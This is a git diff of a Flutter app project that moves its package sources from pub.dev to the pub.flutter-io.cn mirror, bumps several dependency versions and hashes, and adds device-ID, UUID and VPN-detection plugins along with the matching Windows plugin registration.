+ version: "1.0.9" device_info_plus: dependency: "direct main" description: name: device_info_plus - sha256: "4df8babf73058181227e18b08e6ea3520cf5fc5d796888d33b7cb0f33f984b7c" - url: "https://pub.dev" + sha256: b4fed1b2835da9d670d7bed7db79ae2a94b0f5ad6312268158a9b5479abbacdd + url: "https://pub.flutter-io.cn" source: hosted - version: "12.3.0" + version: "12.4.0" device_info_plus_platform_interface: dependency: transitive description: name: device_info_plus_platform_interface sha256: e1ea89119e34903dca74b883d0dd78eb762814f97fb6c76f35e9ff74d261a18f - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "7.0.3" fake_async: @@ -158,7 +174,7 @@ packages: description: name: fake_async sha256: "5368f224a74523e8d2e7399ea1638b37aecfca824a3cc4dfdf77bf1fa905ac44" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.3.3" ffi: @@ -166,7 +182,7 @@ packages: description: name: ffi sha256: "6d7fd89431262d8f3125e81b50d3847a091d846eafcd4fdb88dd06f36d705a45" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.2.0" file: @@ -174,7 +190,7 @@ packages: description: name: file sha256: a3b4f84adafef897088c160faf7dfffb7696046cb13ae90b508c2cbc95d3b8d4 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "7.0.1" fixnum: @@ -182,17 +198,17 @@ packages: description: name: fixnum sha256: b6dc7065e46c974bc7c5f143080a6764ec7a4be6da1285ececdc37be96de53be - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.1.1" flame: dependency: "direct main" description: name: flame - sha256: "78c87c34d512f5dd5b69bda823bf31a9f53b27cf319b5326b788f0ec93cbd0b3" - url: "https://pub.dev" + sha256: b9e65f6d7d06a301d6ea3cde03731cad3cdc255d56e0fb53c56c1e7806aaaf6a + url: "https://pub.flutter-io.cn" source: hosted - version: "1.36.0" + version: "1.37.0" flutter: dependency: "direct main" description: flutter @@ -203,7 +219,7 @@ packages: description: name: flutter_inappwebview sha256: "80092d13d3e29b6227e25b67973c67c7210bd5e35c4b747ca908e31eb71a46d5" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "6.1.5" flutter_inappwebview_android: @@ -211,7 +227,7 @@ packages: description: name: flutter_inappwebview_android sha256: "62557c15a5c2db5d195cb3892aab74fcaec266d7b86d59a6f0027abd672cddba" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.1.3" flutter_inappwebview_internal_annotations: @@ -219,7 +235,7 @@ packages: description: name: flutter_inappwebview_internal_annotations sha256: e30fba942e3debea7b7e6cdd4f0f59ce89dd403a9865193e3221293b6d1544c6 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.3.0" flutter_inappwebview_ios: @@ -227,7 +243,7 @@ packages: description: name: flutter_inappwebview_ios sha256: "5818cf9b26cf0cbb0f62ff50772217d41ea8d3d9cc00279c45f8aabaa1b4025d" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.1.2" flutter_inappwebview_macos: @@ -235,7 +251,7 @@ packages: description: name: flutter_inappwebview_macos sha256: c1fbb86af1a3738e3541364d7d1866315ffb0468a1a77e34198c9be571287da1 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.1.2" flutter_inappwebview_platform_interface: @@ -243,7 +259,7 @@ packages: description: name: flutter_inappwebview_platform_interface sha256: cf5323e194096b6ede7a1ca808c3e0a078e4b33cc3f6338977d75b4024ba2500 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.3.0+1" flutter_inappwebview_web: @@ -251,7 +267,7 @@ packages: description: name: flutter_inappwebview_web sha256: "55f89c83b0a0d3b7893306b3bb545ba4770a4df018204917148ebb42dc14a598" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.1.2" flutter_inappwebview_windows: @@ -259,7 +275,7 @@ packages: description: name: flutter_inappwebview_windows sha256: "8b4d3a46078a2cdc636c4a3d10d10f2a16882f6be607962dbfff8874d1642055" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "0.6.0" flutter_lints: @@ -267,7 +283,7 @@ packages: description: name: flutter_lints sha256: "3105dc8492f6183fb076ccf1f351ac3d60564bff92e20bfc4af9cc1651f4e7e1" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "6.0.0" flutter_test: @@ -275,33 +291,33 @@ packages: description: flutter source: sdk version: "0.0.0" + flutter_vpn_detector: + dependency: "direct main" + description: + name: flutter_vpn_detector + sha256: f68a476df2aa6539f65f549c17a19e1bd210f78ff9e0345468c0575b67c1f746 + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.1.5" flutter_web_plugins: dependency: transitive description: flutter source: sdk version: "0.0.0" - glob: - dependency: transitive - description: - name: glob - sha256: c3f1ee72c96f8f78935e18aa8cecced9ab132419e8625dc187e1c2408efc20de - url: "https://pub.dev" - source: hosted - version: "2.1.3" hooks: dependency: transitive description: name: hooks - sha256: e79ed1e8e1929bc6ecb6ec85f0cb519c887aa5b423705ded0d0f2d9226def388 - url: "https://pub.dev" + sha256: "9a62a50b50b769a737bc0a8ff381f333529df3ab746b2f6b02e83760231455ba" + url: "https://pub.flutter-io.cn" source: hosted - version: "1.0.2" + version: "2.0.2" http: dependency: "direct main" description: name: http sha256: "87721a4a50b19c7f1d49001e51409bddc46303966ce89a65af4f4e6004896412" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.6.0" http_parser: @@ -309,15 +325,31 @@ packages: description: name: http_parser sha256: "178d74305e7866013777bab2c3d8726205dc5a4dd935297175b19a23a2e66571" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "4.1.2" + jni: + dependency: transitive + description: + name: jni + sha256: c2230682d5bc2362c1c9e8d3c7f406d9cbba23ab3f2e203a025dd47e0fb2e68f + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.0.0" + jni_flutter: + dependency: transitive + description: + name: jni_flutter + sha256: "8b59e590786050b1cd866677dddaf76b1ade5e7bc751abe04b86e84d379d3ba6" + url: "https://pub.flutter-io.cn" + source: hosted + version: "1.0.1" leak_tracker: dependency: transitive description: name: leak_tracker sha256: "33e2e26bdd85a0112ec15400c8cbffea70d0f9c3407491f672a2fad47915e2de" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "11.0.2" leak_tracker_flutter_testing: @@ -325,7 +357,7 @@ packages: description: name: leak_tracker_flutter_testing sha256: "1dbc140bb5a23c75ea9c4811222756104fbcd1a27173f0c34ca01e16bea473c1" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "3.0.10" leak_tracker_testing: @@ -333,7 +365,7 @@ packages: description: name: leak_tracker_testing sha256: "8d5a2d49f4a66b49744b23b018848400d23e54caf9463f4eb20df3eb8acb2eb1" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "3.0.2" lints: @@ -341,7 +373,7 @@ packages: description: name: lints sha256: "12f842a479589fea194fe5c5a3095abc7be0c1f2ddfa9a0e76aed1dbd26a87df" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "6.1.0" logging: @@ -349,7 +381,7 @@ packages: description: name: logging sha256: c8245ada5f1717ed44271ed1c26b8ce85ca3228fd2ffdb75468ab01979309d61 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.3.0" matcher: @@ -357,7 +389,7 @@ packages: description: name: matcher sha256: dc0b7dc7651697ea4ff3e69ef44b0407ea32c487a39fff6a4004fa585e901861 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "0.12.19" material_color_utilities: @@ -365,55 +397,55 @@ packages: description: name: material_color_utilities sha256: "9c337007e82b1889149c82ed242ed1cb24a66044e30979c44912381e9be4c48b" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "0.13.0" meta: dependency: transitive description: name: meta - sha256: "23f08335362185a5ea2ad3a4e597f1375e78bce8a040df5c600c8d3552ef2394" - url: "https://pub.dev" + sha256: "1741988757a65eb6b36abe716829688cf01910bbf91c34354ff7ec1c3de2b349" + url: "https://pub.flutter-io.cn" source: hosted - version: "1.17.0" - native_toolchain_c: - dependency: transitive - description: - name: native_toolchain_c - sha256: "92b2ca62c8bd2b8d2f267cdfccf9bfbdb7322f778f8f91b3ce5b5cda23a3899f" - url: "https://pub.dev" - source: hosted - version: "0.17.5" + version: "1.18.0" objective_c: dependency: transitive description: name: objective_c - sha256: "100a1c87616ab6ed41ec263b083c0ef3261ee6cd1dc3b0f35f8ddfa4f996fe52" - url: "https://pub.dev" + sha256: "6cb691c686fa2838c6deb34980d426145c2a5d537491cb83d463c33cdbc726ed" + url: "https://pub.flutter-io.cn" source: hosted - version: "9.3.0" + version: "9.4.1" ordered_set: dependency: transitive description: name: ordered_set sha256: d6c1d053a533e84931a388cbf03f1ad21a0543bf06c7a281859d3ffacd8e15f2 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "8.0.0" + package_config: + dependency: transitive + description: + name: package_config + sha256: f096c55ebb7deb7e384101542bfba8c52696c1b56fca2eb62827989ef2353bbc + url: "https://pub.flutter-io.cn" + source: hosted + version: "2.2.0" package_info_plus: dependency: "direct main" description: name: package_info_plus - sha256: f69da0d3189a4b4ceaeb1a3defb0f329b3b352517f52bed4290f83d4f06bc08d - url: "https://pub.dev" + sha256: "468c26b4254ab01979fa5e4a98cb343ea3631b9acee6f21028997419a80e1a20" + url: "https://pub.flutter-io.cn" source: hosted - version: "9.0.0" + version: "9.0.1" package_info_plus_platform_interface: dependency: transitive description: name: package_info_plus_platform_interface sha256: "202a487f08836a592a6bd4f901ac69b3a8f146af552bbd14407b6b41e1c3f086" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "3.2.1" path: @@ -421,7 +453,7 @@ packages: description: name: path sha256: "75cca69d1490965be98c73ceaea117e8a04dd21217b37b292c9ddbec0d955bc5" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.9.1" path_provider: @@ -429,23 +461,23 @@ packages: description: name: path_provider sha256: "50c5dd5b6e1aaf6fb3a78b33f6aa3afca52bf903a8a5298f53101fdaee55bbcd" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.1.5" path_provider_android: dependency: transitive description: name: path_provider_android - sha256: f2c65e21139ce2c3dad46922be8272bb5963516045659e71bb16e151c93b580e - url: "https://pub.dev" + sha256: "69cbd515a62b94d32a7944f086b2f82b4ac40a1d45bebfc00813a430ab2dabcd" + url: "https://pub.flutter-io.cn" source: hosted - version: "2.2.22" + version: "2.3.1" path_provider_foundation: dependency: transitive description: name: path_provider_foundation sha256: "2a376b7d6392d80cd3705782d2caa734ca4727776db0b6ec36ef3f1855197699" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.6.0" path_provider_linux: @@ -453,7 +485,7 @@ packages: description: name: path_provider_linux sha256: f7a1fe3a634fe7734c8d3f2766ad746ae2a2884abe22e241a8b301bf5cac3279 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.2.1" path_provider_platform_interface: @@ -461,7 +493,7 @@ packages: description: name: path_provider_platform_interface sha256: "88f5779f72ba699763fa3a3b06aa4bf6de76c8e5de842cf6f29e2e06476c2334" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.1.2" path_provider_windows: @@ -469,7 +501,7 @@ packages: description: name: path_provider_windows sha256: bd6f00dbd873bfb70d0761682da2b3a2c2fccc2b9e84c495821639601d81afe7 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.3.0" platform: @@ -477,7 +509,7 @@ packages: description: name: platform sha256: "5d6b1b0036a5f331ebc77c850ebc8506cbc1e9416c27e59b439f917a902a4984" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "3.1.6" play_install_referrer: @@ -485,7 +517,7 @@ packages: description: name: play_install_referrer sha256: "7dd808236d35d15199d5e7a5b55488e4343c1b67c4694902d6b95196b22b19cd" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "0.5.0" plugin_platform_interface: @@ -493,7 +525,7 @@ packages: description: name: plugin_platform_interface sha256: "4820fbfdb9478b1ebae27888254d445073732dae3d6ea81f0b7e06d5dedc3f02" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.1.8" pointycastle: @@ -501,7 +533,7 @@ packages: description: name: pointycastle sha256: "92aa3841d083cc4b0f4709b5c74fd6409a3e6ba833ffc7dc6a8fee096366acf5" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "4.0.0" pub_semver: @@ -509,31 +541,39 @@ packages: description: name: pub_semver sha256: "5bfcf68ca79ef689f8990d1160781b4bad40a3bd5e5218ad4076ddb7f4081585" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.2.0" + record_use: + dependency: transitive + description: + name: record_use + sha256: "2551bd8eecfe95d14ae75f6021ad0248be5c27f138c2ec12fcb52b500b3ba1ed" + url: "https://pub.flutter-io.cn" + source: hosted + version: "0.6.0" shared_preferences: dependency: "direct main" description: name: shared_preferences - sha256: "2939ae520c9024cb197fc20dee269cd8cdbf564c8b5746374ec6cacdc5169e64" - url: "https://pub.dev" + sha256: c3025c5534b01739267eb7d76959bbc25a6d10f6988e1c2a3036940133dd10bf + url: "https://pub.flutter-io.cn" source: hosted - version: "2.5.4" + version: "2.5.5" shared_preferences_android: dependency: transitive description: name: shared_preferences_android - sha256: "8374d6200ab33ac99031a852eba4c8eb2170c4bf20778b3e2c9eccb45384fb41" - url: "https://pub.dev" + sha256: a2c49fc1fed7140cadd892d765bd47edbe4ac0b9c7e7e3c493dcb58126f99cf0 + url: "https://pub.flutter-io.cn" source: hosted - version: "2.4.21" + version: "2.4.25" shared_preferences_foundation: dependency: transitive description: name: shared_preferences_foundation sha256: "4e7eaffc2b17ba398759f1151415869a34771ba11ebbccd1b0145472a619a64f" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.5.6" shared_preferences_linux: @@ -541,23 +581,23 @@ packages: description: name: shared_preferences_linux sha256: "580abfd40f415611503cae30adf626e6656dfb2f0cee8f465ece7b6defb40f2f" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.4.1" shared_preferences_platform_interface: dependency: transitive description: name: shared_preferences_platform_interface - sha256: "57cbf196c486bc2cf1f02b85784932c6094376284b3ad5779d1b1c6c6a816b80" - url: "https://pub.dev" + sha256: "649dc798a33931919ea356c4305c2d1f81619ea6e92244070b520187b5140ef9" + url: "https://pub.flutter-io.cn" source: hosted - version: "2.4.1" + version: "2.4.2" shared_preferences_web: dependency: transitive description: name: shared_preferences_web sha256: c49bd060261c9a3f0ff445892695d6212ff603ef3115edbb448509d407600019 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.4.3" shared_preferences_windows: @@ -565,7 +605,7 @@ packages: description: name: shared_preferences_windows sha256: "94ef0f72b2d71bc3e700e025db3710911bd51a71cefb65cc609dd0d9a982e3c1" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.4.1" sky_engine: @@ -578,7 +618,7 @@ packages: description: name: source_span sha256: "56a02f1f4cd1a2d96303c0144c93bd6d909eea6bee6bf5a0e0b685edbd4c47ab" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.10.2" stack_trace: @@ -586,7 +626,7 @@ packages: description: name: stack_trace sha256: "8b27215b45d22309b5cddda1aa2b19bdfec9df0e765f2de506401c071d38d1b1" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.12.1" stream_channel: @@ -594,7 +634,7 @@ packages: description: name: stream_channel sha256: "969e04c80b8bcdf826f8f16579c7b14d780458bd97f56d107d3950fdbeef059d" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.1.4" string_scanner: @@ -602,39 +642,39 @@ packages: description: name: string_scanner sha256: "921cd31725b72fe181906c6a94d987c78e3b98c2e205b397ea399d4054872b43" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.4.1" synchronized: dependency: transitive description: name: synchronized - sha256: c254ade258ec8282947a0acbbc90b9575b4f19673533ee46f2f6e9b3aeefd7c0 - url: "https://pub.dev" + sha256: "93b153dcb6a26dcddee6ca087dd634b53e38c10b5aa163e8e49501a776456153" + url: "https://pub.flutter-io.cn" source: hosted - version: "3.4.0" + version: "3.4.1" term_glyph: dependency: transitive description: name: term_glyph sha256: "7f554798625ea768a7518313e58f83891c7f5024f88e46e7182a4558850a4b8e" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.2.2" test_api: dependency: transitive description: name: test_api - sha256: "8161c84903fd860b26bfdefb7963b3f0b68fee7adea0f59ef805ecca346f0c7a" - url: "https://pub.dev" + sha256: "949a932224383300f01be9221c39180316445ecb8e7547f70a41a35bf421fb9e" + url: "https://pub.flutter-io.cn" source: hosted - version: "0.7.10" + version: "0.7.11" typed_data: dependency: transitive description: name: typed_data sha256: f9049c039ebfeb4cf7a7104a675823cd72dba8297f264b6637062516699fa006 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.4.0" url_launcher: @@ -642,23 +682,23 @@ packages: description: name: url_launcher sha256: f6a7e5c4835bb4e3026a04793a4199ca2d14c739ec378fdfe23fc8075d0439f8 - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "6.3.2" url_launcher_android: dependency: "direct main" description: name: url_launcher_android - sha256: "767344bf3063897b5cf0db830e94f904528e6dd50a6dfaf839f0abf509009611" - url: "https://pub.dev" + sha256: b413d49b73867ac08dd2f9890efd3cc11f2a0e577618d50843440a1fb3776c32 + url: "https://pub.flutter-io.cn" source: hosted - version: "6.3.28" + version: "6.3.32" url_launcher_ios: dependency: transitive description: name: url_launcher_ios sha256: "580fe5dfb51671ae38191d316e027f6b76272b026370708c2d898799750a02b0" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "6.4.1" url_launcher_linux: @@ -666,7 +706,7 @@ packages: description: name: url_launcher_linux sha256: d5e14138b3bc193a0f63c10a53c94b91d399df0512b1f29b94a043db7482384a - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "3.2.2" url_launcher_macos: @@ -674,7 +714,7 @@ packages: description: name: url_launcher_macos sha256: "368adf46f71ad3c21b8f06614adb38346f193f3a59ba8fe9a2fd74133070ba18" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "3.2.5" url_launcher_platform_interface: @@ -682,31 +722,31 @@ packages: description: name: url_launcher_platform_interface sha256: "552f8a1e663569be95a8190206a38187b531910283c3e982193e4f2733f01029" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.3.2" url_launcher_web: dependency: transitive description: name: url_launcher_web - sha256: d0412fcf4c6b31ecfdb7762359b7206ffba3bbffd396c6d9f9c4616ece476c1f - url: "https://pub.dev" + sha256: "85c81589622fbc87c1c683aaea164d3604a7777495a79d91e39ffcdec39ddb34" + url: "https://pub.flutter-io.cn" source: hosted - version: "2.4.2" + version: "2.4.3" url_launcher_windows: dependency: transitive description: name: url_launcher_windows sha256: "712c70ab1b99744ff066053cbe3e80c73332b38d46e5e945c98689b2e66fc15f" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "3.1.5" uuid: - dependency: transitive + dependency: "direct main" description: name: uuid sha256: "1fef9e8e11e2991bb773070d4656b7bd5d850967a2456cfc83cf47925ba79489" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "4.5.3" vector_math: @@ -714,23 +754,23 @@ packages: description: name: vector_math sha256: d530bd74fea330e6e364cda7a85019c434070188383e1cd8d9777ee586914c5b - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.2.0" vm_service: dependency: transitive description: name: vm_service - sha256: "45caa6c5917fa127b5dbcfbd1fa60b14e583afdc08bfc96dda38886ca252eb60" - url: "https://pub.dev" + sha256: "0016aef94fc66495ac78af5859181e3f3bf2026bd8eecc72b9565601e19ab360" + url: "https://pub.flutter-io.cn" source: hosted - version: "15.0.2" + version: "15.2.0" web: dependency: transitive description: name: web sha256: "868d88a33d8a87b18ffc05f9f030ba328ffefba92d6c127917a2ba740f9cfe4a" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.1.1" win32: @@ -738,7 +778,7 @@ packages: description: name: win32 sha256: d7cb55e04cd34096cd3a79b3330245f54cb96a370a1c27adb3c84b917de8b08e - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "5.15.0" win32_registry: @@ -746,7 +786,7 @@ packages: description: name: win32_registry sha256: "6f1b564492d0147b330dd794fee8f512cec4977957f310f9951b5f9d83618dae" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "2.1.0" xdg_directories: @@ -754,7 +794,7 @@ packages: description: name: xdg_directories sha256: "7a3f37b05d989967cdddcbb571f1ea834867ae2faa29725fd085180e0883aa15" - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "1.1.0" yaml: @@ -762,9 +802,9 @@ packages: description: name: yaml sha256: b9da305ac7c39faa3f030eccd175340f968459dae4af175130b3fc47e40d76ce - url: "https://pub.dev" + url: "https://pub.flutter-io.cn" source: hosted version: "3.1.3" sdks: - dart: ">=3.11.1 <4.0.0" - flutter: ">=3.41.0" + dart: ">=3.12.0 <4.0.0" + flutter: ">=3.44.0" diff --git a/pubspec.yaml b/pubspec.yaml index fe94b0e..966a003 100644 --- a/pubspec.yaml +++ b/pubspec.yaml @@ -16,7 +16,7 @@ publish_to: 'none' # Remove this line if you wish to publish to pub.dev # https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/CoreFoundationKeys.html # In Windows, build-name is used as the major, minor, and patch parts # of the product and file versions while build-number is used as the build suffix. -version: 1.0.2+4 +version: 1.0.0+0 environment: sdk: ^3.11.1 @@ -43,6 +43,9 @@ dependencies: package_info_plus: ^9.0.0 device_info_plus: ^12.3.0 flame: ^1.36.0 + android_id: ^0.5.1 + uuid: ^4.5.3 + flutter_vpn_detector: ^0.1.5 # The following adds the Cupertino Icons font to your application. # Use with the CupertinoIcons class for iOS style icons. diff --git a/windows/flutter/generated_plugin_registrant.cc b/windows/flutter/generated_plugin_registrant.cc index 90bd64a..0a752dc 100644 --- a/windows/flutter/generated_plugin_registrant.cc +++ b/windows/flutter/generated_plugin_registrant.cc @@ -8,6 +8,7 @@ #include #include +#include #include void RegisterPlugins(flutter::PluginRegistry* registry) { @@ -15,6 +16,8 @@ void RegisterPlugins(flutter::PluginRegistry* registry) { registry->GetRegistrarForPlugin("AudioplayersWindowsPlugin")); FlutterInappwebviewWindowsPluginCApiRegisterWithRegistrar( registry->GetRegistrarForPlugin("FlutterInappwebviewWindowsPluginCApi")); + FlutterVpnDetectorPluginRegisterWithRegistrar( + registry->GetRegistrarForPlugin("FlutterVpnDetectorPlugin")); UrlLauncherWindowsRegisterWithRegistrar( registry->GetRegistrarForPlugin("UrlLauncherWindows")); } diff --git a/windows/flutter/generated_plugins.cmake b/windows/flutter/generated_plugins.cmake index fea6638..930e357 100644 --- a/windows/flutter/generated_plugins.cmake +++ b/windows/flutter/generated_plugins.cmake @@ -5,10 +5,12 @@ list(APPEND FLUTTER_PLUGIN_LIST audioplayers_windows flutter_inappwebview_windows + flutter_vpn_detector url_launcher_windows ) list(APPEND FLUTTER_FFI_PLUGIN_LIST + jni ) set(PLUGIN_BUNDLED_LIBRARIES)